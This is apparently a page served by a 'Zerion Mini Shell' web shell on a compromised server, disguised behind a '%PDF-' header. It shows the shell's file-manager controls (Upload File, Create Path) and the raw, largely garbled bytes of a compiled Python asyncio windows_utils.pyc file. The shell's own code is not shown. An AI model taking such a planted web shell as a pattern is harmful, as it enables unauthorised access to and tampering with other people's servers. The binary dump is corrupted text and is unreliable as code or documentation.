%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.12/asyncio/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.12/asyncio/__pycache__/windows_utils.cpython-312.pyc

�

���f����dZddlZejdk7red��ddlZddlZddlZddlZddlZddl	Z	ddl
Z
dZdZejZ
ejZej�Zdded	�d
�ZGd�d�ZGd
�dej&�Zy)z)Various Windows specific bits and pieces.�N�win32z
win32 only)�pipe�Popen�PIPE�
PipeHandlei F)TT)�duplex�
overlapped�bufsizec
��tjdjtj�tt����}|r6tj}tjtjz}||}}n$tj}tj}d|}}|tjz}|dr|tjz}|drtj}nd}dx}	}
	tj||tjd||tj tj"�}	tj$||dtj"tj&|tj"�}
tj(|	d��}|j+d�|	|
fS#|	�tj,|	�|
�tj,|
��xYw)zELike os.pipe() but with overlapped support and using handles not fds.z\\.\pipe\python-pipe-{:d}-{:d}-)�prefixr�NT�r	)�tempfile�mktemp�format�os�getpid�next�
_mmap_counter�_winapi�PIPE_ACCESS_DUPLEX�GENERIC_READ�
GENERIC_WRITE�PIPE_ACCESS_INBOUND�FILE_FLAG_FIRST_PIPE_INSTANCE�FILE_FLAG_OVERLAPPED�CreateNamedPipe�	PIPE_WAIT�NMPWAIT_WAIT_FOREVER�NULL�
CreateFile�
OPEN_EXISTING�ConnectNamedPipe�GetOverlappedResult�CloseHandle)rr	r
�address�openmode�access�obsize�ibsize�flags_and_attribs�h1�h2�ovs            �,/usr/lib/python3.12/asyncio/windows_utils.pyrr s����o�o�1�8�8��I�I�K��m�,�.�/�G���-�-���%�%��(=�(=�=�� �'����.�.���&�&���G�����5�5�5�H��!�}��G�0�0�0���!�}�#�8�8�����N�B���
�
$�
$��X�w�0�0�
�v�v�w�;�;�W�\�\�K���
�
��V�Q����g�.C�.C��w�|�|�-���
%�
%�b�T�
:��
���t�$��2�v�
���
�>�����#�
�>�����#�
�s
�*B6F!�!1Gc�|�eZdZdZd�Zd�Zed��Zd�Ze	jd�d�Zejfd�Zd	�Zd
�Zy)rz�Wrapper for an overlapped pipe handle which is vaguely file-object like.

    The IOCP event loop can use these instead of socket objects.
    c��||_y�N��_handle��self�handles  r/�__init__zPipeHandle.__init__Vs	�����c�x�|j�d|j��}nd}d|jj�d|�d�S)Nzhandle=�closed�<� �>)r4�	__class__�__name__r5s  r/�__repr__zPipeHandle.__repr__YsB���<�<�#��t�|�|�.�/�F��F��4�>�>�*�*�+�1�V�H�A�6�6r9c��|jSr2r3�r6s r/r7zPipeHandle.handle`s���|�|�r9c�H�|j�td��|jS)NzI/O operation on closed pipe)r4�
ValueErrorrCs r/�filenozPipeHandle.filenods"���<�<���;�<�<��|�|�r9)r%c�P�|j�||j�d|_yyr2r3)r6r%s  r/�closezPipeHandle.closeis$���<�<�#�����%��D�L�$r9c�b�|j�#|d|��t|��|j�yy)Nz	unclosed )�source)r4�ResourceWarningrH)r6�_warns  r/�__del__zPipeHandle.__del__ns-���<�<�#��I�d�X�&���E��J�J�L�$r9c��|Sr2�rCs r/�	__enter__zPipeHandle.__enter__ss���r9c�$�|j�yr2)rH)r6�t�v�tbs    r/�__exit__zPipeHandle.__exit__vs���
�
�r9N)r@�
__module__�__qualname__�__doc__r8rA�propertyr7rFrr%rH�warnings�warnrMrPrUrOr9r/rrQsR����7������
$+�#6�#6� �
%�M�M��
�r9rc�$��eZdZdZd�fd�	Z�xZS)rz�Replacement for subprocess.Popen using overlapped pipe handles.

    The stdin, stdout, stderr are None or instances of PipeHandle.
    c�,��|jd�rJ�|jdd�dk(sJ�dx}x}}dx}	x}
}|tk(r5tdd��\}}	tj|t
j�}n|}|tk(r&td��\}
}
tj|
d�}n|}|tk(r&td��\}}tj|d�}n|tk(r|}n|}	t�|�$|f|||d	�|��|	�t|	�|_|
�t|
�|_|�t|�|_
	|tk(rtj |�|tk(rtj |�|tk(rtj |�yy#|	|
|fD]}|��tj|���xYw#|tk(rtj |�|tk(rtj |�|tk(rtj |�wwxYw)
N�universal_newlinesr
r)FTT)r	r)TFr)�stdin�stdout�stderr)�getrr�msvcrt�open_osfhandler�O_RDONLY�STDOUT�superr8rr_r`rarr%rH)r6�argsr_r`ra�kwds�	stdin_rfd�
stdout_wfd�
stderr_wfd�stdin_wh�	stdout_rh�	stderr_rh�stdin_rh�	stdout_wh�	stderr_wh�hr?s                �r/r8zPopen.__init__�s�����8�8�0�1�1�1��x�x�	�1�%��*�*�*�.2�2�	�2�J��+/�/��/�9�y��D�=�!%��t�!L��H�h��-�-�h����D�I��I��T�>�#'�=�#A� �I�y��.�.�y�!�<�J��J��T�>�#'�=�#A� �I�y��.�.�y�!�<�J�
�v�
�#�J��J�	%��G��T�
8��:�$.�
8�26�
8��#�'��1��
��$�(��3����$�(��3�����}�����#���~�����$���~�����$���#	��	�9�5�
+���=��'�'��*�
+�
����}�����#���~�����$���~�����$��s%�'F�;7F6�F3�F3�3F6�6AH)NNN)r@rVrWrXr8�
__classcell__)r?s@r/rr}s����+%�+%r9r)rX�sys�platform�ImportErrorr�	itertoolsrcr�
subprocessrrZ�__all__�BUFSIZErrf�countrrrrrOr9r/�<module>r}s���/�
��<�<�7��
�l�
#�#���
�	����0��������	�	�	���	���!�
��\�7�+�b&�&�X0%�J���0%r9

Zerion Mini Shell 1.0